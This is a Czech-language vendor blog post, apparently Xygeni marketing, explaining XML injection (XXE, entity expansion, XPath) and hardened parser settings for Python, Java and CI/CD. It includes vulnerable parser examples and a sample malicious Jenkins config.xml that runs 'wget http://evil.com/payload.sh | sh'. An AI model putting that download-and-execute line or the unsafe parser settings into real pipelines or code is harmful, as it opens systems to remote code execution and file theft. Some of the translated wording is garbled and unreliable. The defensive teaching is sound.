Injection XML - jak zabránit injection XML

XML Injection: Jak útočníci narušují vaše parsery

Jak XML Injection proměňuje parsery v útočné plochy

Vývojáři si často neuvědomují, jak snadno může XML injection narušit jejich systémy. Pokud vás zajímá, jak XML injection zabránit, prvním krokem je vědět, kde se objevuje. Ve výchozím nastavení je mnoho XML parserů v moderních programovacích jazycích zranitelných. Když těmto parserům předáte uživatelsky řízený vstup, zejména bez řádného zabezpečení, proměníte základní XML procesor ve vektor útoku.

Právě proto je injektáž XML tak nebezpečná: nespoléhá se na chyby ve vašem kódu. Zneužívá způsob, jakým je váš parser nakonfigurován, nebo dokonce nesprávně nakonfigurován. Pochopení toho, co to znamená, spočívá v poznání, jak se funkce jako rozlišení entit, externí DTD a parsování XPath stávají riziky.

Nemusíte explicitně parsovat XML. Injection se zobrazuje v konfiguračních souborech, pipeline definice, artefakty testů a nástroje třetích stran. Pokud vaše CI/CD Pokud váš systém nebo aplikace obsahuje jakýkoli XML kód, musíte vědět, jak tomu zabránit, než se z toho stane problém dodavatelského řetězce.

Reálné vektory útoku XML injection v kódu a Pipelines

Zranitelnosti XML v reálném světě Vývojáři Miss

XML injection často zůstává nepovšimnutý, protože se skrývá v důvěryhodných kódových cestách:

  • Rozšíření entity (miliarda smíchů)Zneužívá rekurzi parseru k pádu systémů.
  • Externí entity (XXE): Čte soubory nebo přistupuje k interním službám.
  • XPath InjectionManipuluje s logikou v dotazech založených na XML.

Příklad v Pythonu (riziko XXE)

⚠️Varování: Tento kód umožňuje rozlišení externích entit, což ho činí zranitelným vůči útokům XXE.

from lxml import etree parser = etree.XMLParser(resolve_entities=True) xml = etree.fromstring(user_input, parser) 

Příklad v Javě (rozšíření entit)

⚠️Varování: Tento analyzátor používá nebezpečné výchozí hodnoty, které lze zneužít.

SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.parse(inputStream, handler); 

CI/CD Příklad:

⚠️Varování: Vkládání nebezpečného XML do pipeline konfigurace mohou vést ke zneužití.

<!-- Malicious Jenkins config.xml snippet --> <project> <builders> <hudson.tasks.Shell> <command>wget http://evil.com/payload.sh | sh</command> </hudson.tasks.Shell> </builders> </project> 

Pokud tyto vstupy nebudou dezinfikovány, právě jste otevřeli dveře XML injection uvnitř vašeho automatizačního zásobníku.

Proč umístit výchozí XML knihovny CI/CD v ohrožení

Většina vývojářů neví, jak zabránit XML injection, protože si neuvědomují, že jejich nástroje XML v první řadě používají. Populární nástroje jako Maven, Jenkins a různé frameworky pro nasazení se stále silně spoléhají na XML.

CI/CD Body vstřikování:

  • Maven pom.xml
  • Konfigurace úloh Jenkins (config.xml)
  • Vlastní zdroje Kubernetes založené na XML
  • Spouštěče testů Pythonu nebo Javy, které se spoléhají na XML sestavy

Zhoršuje to fakt, že mnoho open-source knihoven používá XML parsery s nebezpečnými výchozími hodnotami, což činí útoky XML injection skutečným rizikem.

⚠️ Varování: Někteří pipelineautomaticky parsují XML z nedůvěryhodných vstupů (např. nahraných artefaktů).

Po analýze může XML s nebezpečnými konstrukty:

  • Přístup k interním souborům
  • Spouštění vzdálených hovorů
  • Upravit chování úlohy

Nejste jen odhalení, vysíláte útočnou plochu napříč všemi pipeline běh.

⚠️Varování: Kroky serializace i deserializace uvedené níže zpracovávají potenciálně nedůvěryhodná data bez ověření.

Jak zabránit vkládání kódu pomocí zabezpečených konfigurací parseru

Bezpečné postupy: Jak zabránit injekčnímu užívání drog

Chcete-li zastavit vkládání dat, musíte před zpracováním jakéhokoli vstupu posílit analyzátor XML.

Jáva

// Secure XML parser config SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); 

PYTHON

# Safe alternative to vulnerable XML parsers from defusedxml.ElementTree import fromstring xml = fromstring(user_input) # Safe from XXE and entity expansion 

CI/CD Pipeline

- name: Scan XML inputs for DTDs run: | grep -r '<!DOCTYPE' . || echo "No unsafe XML detected" 

Nejlepší praxe: Vždy prohledávejte a odmítejte XML, které používá deklarace DOCTYPE nebo ENTITY, pokud to není explicitně nutné. Tyto techniky jsou nezbytné, pokud chcete zastavit injekční aplikaci a zabezpečte svůj životní cyklus DevOps.

Od chybných konfigurací k rizikům v dodavatelském řetězci: Role společnosti Xygeni

Vkládání XML dat nemůžete zastavit, pokud nevíte, kde se vaše XML data zpracovávají. Tam se to děje. Xygeni dělá rozdíl.

Xygeni pomáhá týmům:

  • Mapování využití XML napříč kódovými bázemi, sestaveními a běhovými prostředími
  • Detekce nebezpečných konfigurací parseru a rizikového zpracování XML souborů
  • Identifikace balíčků třetích stran, které tiše zavádějí parsování XML
  • Vložte bezpečné zásady ověřování XML přímo do CI/CD pipelines

Nejde jen o opravu parseru. Jde o to, abyste se už nikdy nemuseli ptát, jak jste přehlédli vstřikovaný XML vektor.

Zablokování parserů: Jak zabránit vkládání XML všude

XML injection představuje vážnou hrozbu, i když s XML přímo nepracujete. Často se dostává prostřednictvím výchozích nastavení, balíčků třetích stran a přehlížených částí vašeho pipeline.

Aby se proti tomu bránil:

  • Vědět, jak a kde se XML parsuje ve vašem zásobníku
  • Používejte zesílené konfigurace a ověřená schémata
  • monitor pipelines pro nebezpečné XML struktury
  • Použijte Xygeni k detekci, sledování a opravě expozice po injekci před jejím uvolněním

Pokud to myslíš vážně o DevSecOps, musíte brát injektáž XML vážně. A musíte vědět, jak zabránit injektáži XML napříč každou vrstvou vašeho zásobníku. Zabezpečte svůj XML. Zabezpečte svůj pipelines. Eliminujte riziko vkládání XML.

nástroje pro analýzu složení softwaru SCA
Stanovte priority, opravte a zabezpečte svá softwarová rizika
Získejte svůj bezplatný účet.
Nevyžaduje se žádná kreditní karta.

Zajistěte si vývoj a dodávky softwaru

s produktovým balíčkem Xygeni